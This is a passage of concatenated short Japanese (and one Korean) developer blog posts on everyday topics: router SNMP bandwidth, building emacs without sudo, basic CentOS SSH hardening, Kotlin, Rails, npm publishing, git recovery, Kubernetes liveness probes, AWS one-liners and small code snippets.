IF-MIB::ifDescr.20 = STRING: Dialer2
IF-MIB::ifDescr.21 = STRING: BRI0-Physical
IF-MIB::ifDescr.22 = STRING: BRI0-Signaling
IF-MIB::ifDescr.23 = STRING: BRI0:1-Bearer Channel
IF-MIB::ifDescr.24 = STRING: BRI0:2-Bearer Channel
IF-MIB::ifDescr.25 = STRING: Virtual-Access1
IF-MIB::ifDescr.26 = STRING: Virtual-Access2
```

BRIが64kbps、Dialerが56kbpsなのは由来がわかります。
Tunnelが9kbpsなのは、どこからきた数字なんでしょ？

# 困ったこと

9kbps超えて、アラート出っぱなしです。


# 解決

ルータの設定を変更します。

```
interface tunnel 25
bandwidth 100000
```


# 感想

こういう素人問題でも、投稿するとなぜか自己解決しますね。

やっぱり情報発信してくといいんじゃないかな。
emacs no sudo install

## とりあえずこれでできた

```
$ mkdir /home/user_name/src
$ cd /home/user_name/src
$ wget http://ftp.gnu.org/pub/gnu/emacs/emacs-26.1.tar.gz
$ tar zxvf emacs-26.1.tar.gz
$ cd emacs-26.1.tar.gz
$ mkdir /home/user_name/emacs
$ mkdir /home/user_name/bin
$ ./configure --prefix=/home/user_name/emacs --bindir=/home/user_name/bin --without-x --with-gnutls=no
$ make
$ make install
$ which emacs
~/bin/emacs
```

gnutlsがないエラー回避のために`--with-gnutls=no`

## 参考

http://vdeep.net/centos7-emacs
https://superuser.com/questions/637979/install-emacs-without-sudo
https://notchained.hatenablog.com/entry/2017/10/10/084933
機械学習論文読みメモ_142

[In-Place Activated BatchNorm for Memory-Optimized Training of DNNs](https://arxiv.org/abs/1712.02616)
従来のbatchnorm + activation layerをより効率的に実現可能な構造として
In-place activated batch normalization (inplaceabn)を提案する。
２つの層をつなげた事により、中間表現を持つ必要がなくし、
またforward処理の結果を逆変換してbackward処理に必要な情報を抽出する
事で、最大５０％までメモリ使用量を低減する事に成功した。
また一般に用いられるcheckpointing手法がinplaceabnと同等の計算効率を
得られる事を示す。

[Deep Interactive Evolution](https://arxiv.org/abs/1801.08230)
本論ではGANとinteractive evolutionary computation (IEC)を組み合わせた手法を提案する。
IECは人からのフィードバックを受けながら新たなサンプル生成を行う手法で、
一般的に人が設計した特徴空間上において生成が行われる。
一方GANは現実的なサンプルを作成する事が可能であるが、基本的にはランダムサンプリング
を利用した生成のため、その生成規則をコントロールできない。
本論における主張は、GANを用いてある特定のドメインに関する学習をした場合、
そのモデルはコンパクトかつロバストなgenotype-to-phenotype mappingを実現していると考えられる。
このようなモデルを学習させる事で、その潜在変数空間上でIECを行う事が可能になる。

[Generating Instance Segmentation Annotation by Geometry-guided GAN](https://arxiv.org/abs/1801.08839)
Instance segmentationのためのデータラベル作成は高コストである。
本論では、3D scanning, physical reasoning, GANの手法を君合わせた
Geometry-guided GAN (GeoGAN)を用いる事で低コストなラベル付け手法を提案する。
この手法は主にindoor環境に対するラベル付けに効果を発揮する。
この手法は3D object scanningにより得たobject/background modelを用いて、
異なった視点からの画像を幾何的なground truth情報とともに生成する。
生成された画像はGeoGANによりrefineされ、より現実的な
画像として生成される。
GeoGANの学習時には得られている幾何的なground truth情報を用いる。
さくらのVPSを使ったサーバの初期設定(一般ユーザ作成とrootアクセスの禁止)

#はじめに
サーバって何からやればよいのだろうという疑問についてのメモ。業務でする際にはどういうセキュリティをすべきなのかとかそういったものを解説サイトを見ながら自分なりのメモ付きで再編集しています。

#利用環境：
利用PCのOS：Windows 10 Pro
サーバに接続するソフトウェア:Teraterm
サーバ：CentOS 7 ※さくらのVPSを利用

#前提条件
サーバの最小インストールまでが終わっていること
rootのパスワード設定が終わっていること

#Teratermを使ってサーバにアクセスする
TeratermでIPアドレスを指定し、ssh(port 22)で接続する
設定したrootとパスワードを使ってサーバに入る

##OSをアップデートする
なぜするのか：
CentOSを最新版にすることでセキュリティパッチなどの更新があるため

```
yum update` #OSを最新版にアップデートする
Is this ok [y/d/N]: #左記が出たらyを押してEnterを押す（２，３分はかかる）
Complete #と出たら完了
```

##一般ユーザーを作る
###なぜするのか
rootユーザでの操作の禁止、root権限を使用したユーザの特定のため

管理者以外のユーザを作成する。作成した一般ユーザーからアクセスする。根幹の機能ファイルを変更したいなどの場合は、その一般ユーザーからroot権限を呼び出し、実行する。そうすることによって誰がroot権限を呼び出し実行をしたのかがわかるようになる。

`adduser [ユーザ名]` #新規ユーザーを作成する
ex) adduser shuthimaru #「shuthimaru」という一般ユーザーを作成する

##作った一般ユーザにパスワードをかける
`passwd [ユーザー名]` #[ユーザ名]のパスワードを設定する
ex) passwd shuthimaru # 「shuthimaru」のパスワードを設定する

Changing password for user vpsuser.
New password: ←1回目のパスワードを入力
Retype new password: ←2回目のパスワードを入力
passwd: all authentication tokens updated successfully. #成功すればこの文が出る、パスワードが不適切だとやり直しになる

上手く出来たら一度`exit`を打ってログアウトして再度接続して一般ユーザから入りなおしてみよう。
rootだと最後が#だったのが一般ユーザだと$になっていることを確認する。

確認ができたら、`su -`と打ってみるとパスワードを求められる。これはroot権限を呼び出すコマンドであり、rootのパスワードを求められる。パスワードを入力するとroot権限を得ることができる。

##rootでサーバに入れないようにする
なぜするのか：rootはどんなサーバにもあるIDだから
rootはすべてのサーバにあるIDのため、ブルートフォース攻撃(片端からパスワードを入力しこじ開けてしまうサイバー攻撃)を受けてしまう危険性がある。今のままではrootでアクセスができてしまうのでそれを止めてしまう。具体的にはsshサーバの設定を変更して行う。

##コマンド

```
#cd /etc/ssh #etc→sshに移動する
#cp sshd_config sshd_config.old 
  #sshd_configというファイルをコピーしてsshd_config.old を作る
#vim sshd_config
```

`#PermitRootLogin yes` 49行目付近の左記を
`PermitRootLogin no`に変える

これでsshでroot権限からの接続を拒否する準備ができた。

後は下記systemctlコマンドを実行してsshサーバを再起動する。

```

systemctl restart sshd.service #sshdサービスを再起動する
``` 
ん？っと思ったら鋭い。実はsshもサーバを使う。初期状態からsshサーバがPC内に立っているというイメージ。sshdはSecure Socket Layer Daemonという意味(だったはず）。daemonは守護者や代行者的な意味を持つ。プロトコル名＋dときたらイコールサーバだと思ってよいと思う。


`exit`してrootでアクセスしてみるとアクセスできないはず。
これでとりあえずのセキュリティはOK.

参考
-------------------------------------------------
[ネコでもわかる！さくらのVPS講座 ～第二回「サーバーをさわってみよう！」](https://knowledge.sakura.ad.jp/8218/)
Kotlin/Nativeマルチプラットフォームプロジェクトで、ktor-client-iosを有効にするとエラー「Undefined symbols for architecture x86_64」が発生する

# Problem

[Kotlin/Nativeマルチプラットフォームプロジェクト](https://qiita.com/k-yamada-github/items/66efc63b11337b956223)で、build.gradleに`ktor-client-ios`を追加すると、iosビルド(linkDebugFrameworkIOS)時にエラーが発生しました。

## 

```SharedCode/build.gradle

kotlin {
    targets {
        final
        def iOSTarget = System.getenv('SDK_NAME')?.startsWith("iphoneos") ? presets.iosArm64 : presets.iosX64

        fromPreset(iOSTarget, 'iOS') {
            compilations.main.outputKinds('FRAMEWORK')
        }

        fromPreset(presets.jvm, 'android')
    }

    sourceSets {
        ...
        iOSMain {
            dependencies {
                implementation "org.jetbrains.kotlin:kotlin-stdlib:$kotlin_version"
                implementation "org.jetbrains.kotlinx:kotlinx-coroutines-core-native:0.26.1-rc-conf2"
                implementation "org.jetbrains.kotlinx:kotlinx-serialization-runtime-native:$serialization_version"

                implementation "io.ktor:ktor-client-ios:$ktor_version"
                implementation "io.ktor:ktor-client-core-ios:$ktor_version"
                implementation "io.ktor:ktor-client-json-ios:$ktor_version"
            }
        }
    }
}
```

### エラーログ

```
// Undefined symbols for architecture x86_64:
//  "_private_classes_<ktor-utils-ios>_io.ktor.util.DelegatingMutableSet_18", referenced from:
```

原因を調査したところ、以下のようにMutableMapのfilterをすると、エラーが発生するようでした。

```sample.kt
val map = mutableMapOf<Hoge, Fuga>()
val fugas = map.filter { !piyo.contains(it.key) }.map { it.value }
```

# Solution

mapをimmutableに変換してからfilterするようにしたところ、エラーが発生しなくなりました。

```ImmutableCollections.kt

class ImmutableList<T> private constructor(private val inner: List<T>) : List<T> by inner {
    companion object {
        fun <T> create(inner: List<T>) = if (inner is ImmutableList<T>) {
                inner
            } else {
                ImmutableList(inner.toList())
            }
    }
}

class ImmutableMap<K, V> private constructor(private val inner: Map<K, V>) : Map<K, V> by inner {
    companion object {
        fun <K, V> create(inner: Map<K, V>) = if (inner is ImmutableMap<K, V>) {
            inner
        } else {
            ImmutableMap(hashMapOf(*inner.toList().toTypedArray()))
        }
    }
}

fun <K, V> Map<K, V>.toImmutableMap(): Map<K, V> = ImmutableMap.create(this)
fun <T> List<T>.toImmutableList(): List<T> = ImmutableList.create(this)
```

```sample.kt
val map = mutableMapOf<Hoge, Fuga>()
val fugas = map.toImmutableMap().filter { !xxx.contains(it.key) }.map { it.value }
```

# 参考

- [How to turn a Mutable Collection into an Immutable one
](https://stackoverflow.com/questions/37931676/how-to-turn-a-mutable-collection-into-an-immutable-one)
- [Build ios-test-application fails with error: Showing All Messages Undefined symbols for architecture x86_64](https://github.com/Kotlin/kotlinx.serialization/issues/201)
オブジェクト指向と手続き型は表裏一体である、という捉え方


# 何の話か

[クリーンコード](https://www.amazon.co.jp/Clean-Code-%E3%82%A2%E3%82%B8%E3%83%A3%E3%82%A4%E3%83%AB%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E9%81%94%E4%BA%BA%E3%81%AE%E6%8A%80-Robert-C-Martin/dp/4048930591/ref=mp_s_a_1_1/357-4568803-3545503?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A)にオブジェクト指向プログラミングと手続き型プログラミングについて興味深い記述があったのをメモしていたので、その供養として投稿します

# 注意事項

このメモは多態性とその活用方法がパッと浮かぶくらい/オープン・クローズド原則の重要性を理解していることを前提に書かれています

また、著者のボブおじさんはJavaをメインに扱っているそうですから、そのオブジェクト指向の捉え方もJavaのものに従っているようです
そのため、プロトタイプ指向/メッセージ指向畑の方の捉え方とは、少し毛色が異なるかもしれません
また、次項の定義はこのメモ用に切り取った解釈なので、わりかし乱暴です

オブジェクト指向自体の理解を深めたい場合、[オブジェクト指向設計実践ガイド](https://www.amazon.co.jp/%E3%82%AA%E3%83%96%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88%E6%8C%87%E5%90%91%E8%A8%AD%E8%A8%88%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89-Ruby%E3%81%A7%E3%82%8F%E3%81%8B%E3%82%8B-%E9%80%B2%E5%8C%96%E3%81%97%E3%81%A4%E3%81%A5%E3%81%91%E3%82%8B%E6%9F%94%E8%BB%9F%E3%81%AA%E3%82%A2%E3%83%97%E3%83%AA%E3%82%B1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%AE%E8%82%B2%E3%81%A6%E6%96%B9-Sandi-Metz/dp/477418361X/ref=mp_s_a_1_1?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A)をお勧めします

# 定義
データ構造とそれを用いた関数をひとまてめにして扱うものをオブジェクト指向プログラミング
データ構造とそれを用いた関数を個別に扱うものを手続き型プログラミングとする

# 概要

オブジェクト指向プログラミングは、データ構造の追加には柔軟に対応できるが、関数の追加にはコストがかかる
手続き型プログラミングは、関数の追加には柔軟に対応できるが、データ構造の追加にはコストがかかる

この関係は表裏一体である

# もう少し詳しく

実際のコードを鑑みると
手続き型プログラミングでは、さまざまなデータ構造を参照するさまざまな関数が存在する
ここにデータ構造を追加すると、既存の関数に、そのデータ構造を扱う処理を加える必要がありコストが嵩む
逆に、関数自体はそれぞれ独立しているため、既存のデータ構造に対する新しい関数の追加は容易に行える

対照的に
オブジェクト指向プログラミングは、多態を有効に用いればデータ構造の追加は新たな具象クラスの追加で済むので容易である(この辺の話がピンとこない方はStrategyパターンを参照ください)
逆に、関数を追加する場合、多態の元となるインターフェースそのものに新たな関数の定義を追加する必要があるため、その具象オブジェクト全てに変更を加えなくてはならずコストが嵩む

すなわち、どちらにもメリットデメリットがあり、しかもそれは表裏一体の関係にあると言える

とはいえ、複雑なシステムの開発においては新たな関数を追加するより新たなデータ構造を追加することの方が多い/有効なため、オブジェクト指向プログラミングに軍配が上がることが多い

どちらを用いるか問題領域に照らし合わせて適したものを選ぶのが熟練の開発者である


# 感想

手続き型は依存関係の矢印が
関数→データ構造
なので、関数はデータ構造に依存していますから、データ構造の変更/追加が関数に影響を与えると捉えられますね

また、オブジェクト指向は(ちょっと毛色が変わりますが)
具象→抽象
なので、関数(振る舞い)の追加は抽象に変更を加えることに他ならないため、具象に影響を与えると捉えられます
この辺の話がピンとこない方は、[クリーンアーキテクチャ](https://www.amazon.co.jp/Clean-Architecture-%E9%81%94%E4%BA%BA%E3%81%AB%E5%AD%A6%E3%81%B6%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AE%E6%A7%8B%E9%80%A0%E3%81%A8%E8%A8%AD%E8%A8%88-Robert-C-Martin/dp/4048930656/ref=mp_s_a_1_3/357-4568803-3545503?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A)を一読することをお勧めします

これを読んだ時は、オブジェクト指向と手続き型が表裏一体であるというのはすごい気付きだと興奮しました

ボブおじさんは、オブジェクト指向の神話に囚われることなく問題領域に対して適切な選択をするように説いていますから、気をつけないといけませんね
Ruby on Rails で controllerごとにcssの読み込みを行う

#はじめに
コマンドでコントローラーを生成した際に作成されるcssは個別に読み込まれると思っていたのですが、
デフォルトではすべてのcssが読み込まれてしまいます。

オプションで切り替えられるのだろうと調べたのですが、特に見当たりませんでした。
(例えば、topコントローラーを使用するページはtop.scssのみ読み込みたい。)

そのため、コントローラーごとに対応するcssを読み込む処理を実装したので、メモしておきます。

#方法

①application.cssの//= require_treeを削除することにより、すべてのcssを読み込まれないようにします。

②読み込むcssのパスを、コントローラー名をもとに作成し、読み込みます。

```ruby:application.html.erb
  <% self_css_path = "/assets/"+controller.controller_name  %>
  <%= stylesheet_link_tag self_css_path, :media => "all" %>
```

上記の方法で、controllerごとに対応するcssのみ読み込むことができるようになりました。




最近 Ruby on Rails を使用し始めたばかりなので、他に良い方などありましたらご教授いただきたいです。
【Javascript】JSで数字を「,」区切りで表示

# 数字を「,」区切りで表示するJS

```
    // カンマ区切りに変換
    function number_separated(num)
    {
        // 整数と小数に分解
        var intNum = Math.floor(num);

        // カンマ区切りに文字を置換
        var re = ("" + intNum).replace( /(\d)(?=(\d{3})+\b)/g, "$1," );

        // 小数の場合
        if (intNum !== num) {
            // 小数を抜き出し
            var decNum = ("" + num).split(".")[1];
            re = re + "." + decNum;
        }

        return re;
    }
```
npm packageの公開手順

公開するまでのフローを知りたかったので、お試ししてみました。

## アカウントの登録

パッケージの公開にはアカウントが必要なので [サインアップ](https://www.npmjs.com/signup) します。

![1.png](https://qiita-image-store.s3.amazonaws.com/0/50052/c39801a5-87d1-1a16-40ce-fcb9623e691f.png)

**太字**の項目は次のフェーズで利用します。

① 名前
② **メールアドレス**
③ **ユーザー名**
④ **パスワード**
⑤ メルマガの購読をするかどうか
⑥ 規約とプライバシーポリシーの同意

## アカウントの設定

取得したアカウントをマシンに設定します。

```
$ npm adduser
```

[アカウントの作成](#アカウントの登録) 時に登録した、ユーザー名・パスワード・メールアドレスの内容を入力します。

```
Username: ユーザー名
Password: パスワード
Email: (this IS public) メールアドレス
```

問題なく終わるとこんな感じです。（問題があったらどうなるのかはわからない）

```
Logged in as ここにユーザー名 on https://registry.npmjs.org/.
```

### package.jsonの作成

すでにpackage.jsonがある場合は必要ありません。
今回はお試しなので、ユーザー名をネームスペースとした [Scoped Packages](https://docs.npmjs.com/getting-started/scoped-packages) として作成します。

```
$ npm init --scope=ここにユーザー名
```

対話で入力していく際に ```package name``` として設定したものが、公開されるpackage名になります。

```:package.json
This utility will walk you through creating a package.json file.
It only covers the most common items, and tries to guess sensible defaults.

See `npm help json` for definitive documentation on these fields
and exactly what they do.

Use `npm install <pkg>` afterwards to install a package and
save it as a dependency in the package.json file.

Press ^C at any time to quit.
package name: (@niar/reg-npm)
version: (1.0.0) 0.0.1
description:
entry point: (index.js)
test command:
git repository:
keywords:
author: Yuta Nakano
license: (ISC) MIT
About to write to Your/reg-npm/package.json:

{
  "name": "@niar/reg-npm",
  "version": "0.0.1",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "Yuta Nakano",
  "license": "MIT"
}


Is this ok? (yes)
```

## 公開

内容がなくても公開できちゃうので公開します。
（Scoped Packagesで公開する為 `--access=public` を付与しています）

```
$ npm publish --access=public
+ @niar/reg-npm@0.0.1
```

![4.png](https://qiita-image-store.s3.amazonaws.com/0/50052/e96338b4-785b-3225-177d-8a005f825689.png)

## 参考
- [How to Publish a Package](https://docs.npmjs.com/getting-started/publishing-npm-packages)
- [npmで名前空間を持ったモジュールを公開する方法(scoped modules)](https://efcl.info/2015/04/30/npm-namespace/)
[git] fsck と cat-file で なくしたファイルを探す

dangling なファイルを探す機会があったのでメモします。

dangling なファイルとは、Git データベースに存在するのに使われていないファイルのことです。`fsck` に `--no-reflogs` オプションをつけない場合は、reflog からたどれるファイルも考慮されます。

```sh
# dangling なファイルのオブジェクト ID (SHA1 ハッシュ) を出力
git fsck --no-progress |grep blob |sed -Ee 's/.* blob //' >.git/dangling.txt
# 一つずつ less に出力される
cat .git/dangling.txt |while read LINE || [ -n "$LINE" ]; do { echo -e "$LINE\n"; git cat-file -p $LINE; } |less; done
```

上記のコマンドを実行すると一つずつ less に出力されるので `q` を押して次、次、次と、目的のファイルを探します。

ファイルを間違えて `reset` してしまいましたが、幸いにも一度 `add` していたので Git データベースには残っていて、これで見つけることができました。

## 参考文献

* man git-fsck
* man git-cat-file
* [git fsck: how --dangling vs. --unreachable vs. --lost-found differ? - Stack Overflow](https://stackoverflow.com/questions/36621730/git-fsck-how-dangling-vs-unreachable-vs-lost-found-differ)
  * dangling ⊆ unreachable で stash にちがいがあるらしい
【kubernetes】liveness probeがfailして終了したコンテナは正常終了扱いになるが…？

### 注意

通常気にする必要のなさそうな小ネタです
最後まで追いきれてません

### 環境

kubernetes v1.10.5

### 本編

liveness probeについて
https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/

failするとkubeletがコンテナをkillするというのは書いてある通りでして、この場合コンテナの終了はexitCode:0で記録されています。

```
    Last State:     Terminated
      Reason:       Completed
      Exit Code:    0
```

その後の挙動はpodに設定された<a href="https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#restart-policy">restart policy</a>によります。
Alwaysの場合はひたすら再起動を繰り返します。
Neverの場合は当然そのまま終了します。
exitCodeが0の正常終了なのでステータスはCompletedでした。

```
NAME      READY     STATUS      RESTARTS   AGE
test      0/1       Completed   0          38s
```

そうするとOnfailureの場合は…？

試しに動かしてみたところ（なんかちょっとバグっぽい）謎挙動でした。
以下検証


```yaml:test.yaml
apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  restartPolicy: OnFailure
  containers:
    - name: test
      image: nginx
      livenessProbe:
        httpGet:
          path: /index.html
          port: 80
        initialDelaySeconds: 5
        periodSeconds: 5
        timeoutSeconds: 1
        successThreshold: 1
        failureThreshold: 1
```

こんな感じのpodを立てて

`$ kubectl exec test rm /usr/share/nginx/html/index.html`

とやると数秒後に

```
0s        0s        1         test.156069c40d136031   Pod       spec.containers{test}   Normal    Killing   kubelet, ip-10-0-10-131.ap-northeast-1.compute.internal   Killing container with id docker://test:Container failed liveness probe.. Container will be killed and recreated.
```

このようなイベントが発生してコンテナが作り直されました。

```
NAME      READY     STATUS    RESTARTS   AGE
test      1/1       Running   1          1m
```

restartsが1になってます。
exit codeは0でもlivenessがfailした場合はrestartされるみたいですね。

ところがコンテナが作り直されるたびにindex.htmlを消し続けたところ

```
NAME      READY     STATUS      RESTARTS   AGE
test      0/1       Completed   3          2m
```

終了してしまいました
条件はきちんと追ってないのですが、どうもrestart時にbackoffが入ると終了になってしまうような感じがします。

個人的には興味がありますがrestart policyがOnfailureでliveness probeを使うというケースがないので深追いせず終了にします。

ちなみにこの辺りを見ると
https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#when-should-you-use-liveness-or-readiness-probes
> If you’d like your Container to be killed and restarted if a probe fails, then specify a liveness probe, and specify a restartPolicy of Always or OnFailure.

とあるのでOnfailureの場合もrestartするのが正しい挙動のようですが、繰り返すと終了することについての記述は見当たりませんでした。
【共有と備忘録】AWSのEC2をコピーしてみる

#結論
このサイトに倣えばOKです。
https://qiita.com/murachi1208/items/8be3cd006d31f1f81ee4

コピーしたいインスタンスのAMIから新規インスタンスを作成する、ですね。

#AMIからインスタンス作成後は
コピーしたインスタンスに最初にsshする時の設定（rootユーザのpassなどのsshdの設定変更）、EIPの割り当てが必要でしたが、アプリケーションやモジュールなどの設定は正確にコピーされていました。

手順は以下のサイトをいつも参考にしています。
https://qiita.com/uhooi/items/ab845b06b136e623e51d

#投稿の背景
EC2インスタンスにApacheやTomcat入れてWebサーバ構築した後にバーチャルホストやマルチインスタンスやアプリケーションのデプロイやら。。と手を動かしていたときに初期設定のサーバ何台か欲しいなーけどいちいち最初からアプリやツールインストールするのめんどいなあEC2インスタンスってコピーできないのかな？と思ってググったらあっさり手順が見つかりましたので共有と備忘録です。

・追記
そもそもDockerやAnsible使えばもっと楽に量産できるし、そうあるべきですよね。
この2つのツールは現在勉強中ですので、まとまり次第記事にしようと思います。

#所感（読み飛ばして頂いてOKです
Qiitaでとても良い記事を見つけたときにいいね押したりTwitterで一言添えてツイートするのですが、こういう手元に残したい技術的な手順はどうやってwebに残せばいいのかなーといつも思います。
それをどうやって技術的に解決するか？そして実現するための行動力とは？がWebサービスやアプリケーション作成に必要なんでしょうね。個人サービスリリースしました、みたいな記事を楽しく読んでいるときもそのふたつを文章から感じます。技術の取得と使用にやっきになってる自分にはまだまだ先かな〜。そんなことよりPaasを使用しないデプロイを理解せんとw
エンジニア道は険しいですね。
php-master-changes 2018-10-23

今日は ext/mysqlnd の微修正、テスト修正、オブジェクトプロパティ初期化処理の最適化、 マイナーバージョンリリースに伴う NEWS の修正、ext/soap のバグ修正、typo 修正、関数呼び出し処理の最適化、phpdbg の構文定義の微修正があった！

# 2018-10-23
## dstogov: Use persistent strings only for persistent connections
- https://github.com/php/php-src/commit/0459640fcdf1c35d2ab619c74b9e471d852154de
- ext/mysqlnd で、永続的接続を使う場合のみリクエストをまたいで生存する文字列として値を持つよう修正

## dstogov: Fixed test failurs introduced by [9c144e0d8217d1ef7a83c2498214308b21af749f](https://github.com/php/php-src/commit/9c144e0d8217d1ef7a83c2498214308b21af749f)
- https://github.com/php/php-src/commit/fd080a06d84d9deb1a6a6be3b1e9a5eeff2fc77b
- 以前あったホワイトスペース除去で壊れていたテストを修正

## dstogov: Inlining in the most frequently used code paths
- https://github.com/php/php-src/commit/6f91090f6ae42901d3eef48d7405bebeaff2ce21
- オブジェクトのプロパティ初期化処理をインライン化

## cmb69: [ci skip] Update NEWS wrt. php-7.3.0RC4 tagging
- https://github.com/php/php-src/commit/4ffa4155005ef234783143e6ad75f6c72a42cd33
- [7.3~]
- NEWS を更新、7.3 系の開発バージョンを 7.3.0RC5 へ

## remicollet: bump to 7.2.13-dev
- https://github.com/php/php-src/commit/1d5baf167a79f8b6842e46b238eb7fb99dcb3e6b
- [7.2~]
- NEWS を更新、7.2 系の開発バージョンを 7.2.13-dev へ

## camporter: Fixed bug [#50675](https://bugs.php.net/bug.php?id=50675)
- https://github.com/php/php-src/commit/db47e35373513705b84b7391ed25e9854308eef2
- [7.2~]
- ext/soap で、SoapClient から同じオブジェクトを複数回送る際、誤った XML ノード名を使ってしまう問題の修正

## yobrx: fix typo in sysvsem.c
- https://github.com/php/php-src/commit/5df17425d36cc175d8751c40114c8bad9937ea06
- [7.3~]
- ext/sysvsem で、エラーメッセージにあった typo の修正

## dstogov: Refetetch function name on exceptional path to allow better code on fast code path.
- https://github.com/php/php-src/commit/e3688c21803d4e882859431c989a35bbad3a0da0
- 未定義関数の呼び出し発生時に関数名を取得し直すよう修正
- 引数経由で渡そうとすると、正常系での C コンパイラの最適化がうまくできなくなるということかな
- なお多分 refetch といいたいのだと思う

## nikic: Fix conflicts in phpdbg parser
- https://github.com/php/php-src/commit/1362d8e103f181faab3d909a413344729593a712
- phpdbg 用の構文規則の衝突を解消
iTerm2 — タブ位置の順番を「入れ替える」ショートカット ( Commahd + shift + 左右 )  ( 切り替えるのではなく )

表題の通り。

カレントのタブを切り替えるのではなく、タブの並びの中で、カレントタブの位置を左右に入れ替えられる。(スワップできる)

地味に便利。

## Version

![image.png](https://qiita-image-store.s3.amazonaws.com/0/89618/cc2154be-b5f1-54f9-52d4-18b9da66ce99.png)








<!-- Update From Qiita API -->

# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ





# Twitter


https://twitter.com/YumaInaura


<!-- Update From Qiita API -->
pythonでカンマ区切りテキストを作成する

# pythonでカンマ区切りテキストを作成する

2000~2030までの整数をカンマ区切りで並べたテキストを作成したい。


```python
data = [i for i in range(2000, 2031)]
result = ','.join(map(str, data))
```

内包表記をつかうなら、以下のほうがpythonic
`map`関数を使わずに済む

```python
data = [str(i) for i in range(2000, 2031)]
result = ','.join(data)
```


数が多い場合はジェネレータを使うのがいいかも

```python
data = (str(i) for i in range(2000, 3600000))
result = ','.join(data)
```
angular2-materializeでdatepickerのeventを受け取る

####情報が少なすぎて困るので共有&メモ

## inputのeventを動的に受け取りたい
送信ボタンや決定ボタンのようなコンポーネントがUIに無かったので、pickerのonClose()をハンドリングしたかった

※本当はdone的なeventが良かったのだけれど、そもそも存在しないぽい
https://materializecss.com/pickers.html

結果的に以下でおｋ

### コード
``` html:.html
<input id="date" name="date" [(ngModel)]="date"
        materialize="pickadate" [materializeParams]="datepickerformat"
        type="text" placeholder="全て"/>
```

``` ts:.ts
  date= '';        // 選択日付
  datepickerformat = [{    // datepickerフォーマット
　　 //〜中略〜
    onClose: (el) => {
      console.log('datepicker close', el);
    }
  }];
```
ファイル転送による壊れがないか検証する方法（md5sum，checksum，チェックサム）

# 概要

サーバーからSCP，SFTP等を使ってファイルを転送する場合に，転送したファイルが壊れてオリジナルと差異が生まれてしまう場合がある。
特に，転送途中での一時中断や大容量ファイルの転送時に起こりやすい。

md5sumで検証する例を記載する。

## 実際の手順

### サーバー側（転送元）

ファイルごとのハッシュのリストを作る。

カレントディレクトリ内の全ファイルが対象の場合は，以下のコマンドを実行する。

```
md5sum * > MD5SUM
```

出力結果であるMD5SUMをローカルに転送する。

### ローカル側（転送後）

転送したディレクトリ上で以下のコマンドを実行する。

```
md5sum -c MD5SUM
```

リスト上のファイルのハッシュを確認し，比較の結果を出力してくれる。

### 例

#### カレントディレクトリ以下のファイルをRecursiveにチェックサム

```bash
find . -type f |grep -v -E 'conf.*.gro'  |xargs md5sum  > MD5SUM &
```

`grep -v`でリストから除外したいファイルを除いている。
正規表現を使うために`-E`オプションを付けている。

## 参考

https://webkaru.net/linux/md5sum-command/
[AWS] インスタンスタイプごとの台数を出力する運用ワンライナー

# 概要
- メモ
- インスタンスタイプごとに何台立っているかを集計するワンライナー
- RI買ったりするときの参考に

# 前提条件
- aws cliがインストールされている
- jqが使える

# 方法

```bash:Command
aws ec2 describe-instances \
  --query 'Reservations[].Instances[].InstanceType | sort(@)' |
  jq -r 'group_by(.) | map({(.[0]): length})[]' |
  tr -d {} |
  tr -d \" |
  tr -d ,  |
  sed -e 's/:/,/g' | 
  grep -v '^\s*$'
```

```:結果
  t2.micro, 3
  t2.nano, 1
  t2.small, 7
```
my first weather app


## react native app 만들때 주의 사항
- expo 설치
 - expo 는 reactnative로 앱을 native app으로 변환시켜주는 툴이다.
- expo 클라언트 휴대폰에 설치
 - hotloading 기능은 앱을 빠른속도로 빌드 할수 있게 도와준다
- xcode 설치
 - xcode 시뮬레이터를 사용할수 있게 해준다
- expo style
 - expo 에서는 레이아웃을 flex 를 활용해서 레이아웃을 설정할수 있다. 하지만 이것은 css는 아니다.
- expo 에서는 각종라이브러리들이 있다 icon, fontawesome 등
 
# 첫벗째 code
```react:App.js
import React from 'react';
import { StyleSheet, Text, View } from 'react-native';

export default class App extends React.Component {
  render() {
    return (
      <View style={styles.container}>
        <Text>Open up App.js to start working on your app! this is my first app</Text>
      </View>
    );
  }
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    backgroundColor: '#fff',
    alignItems: 'center',
    justifyContent: 'center',
  },
});
```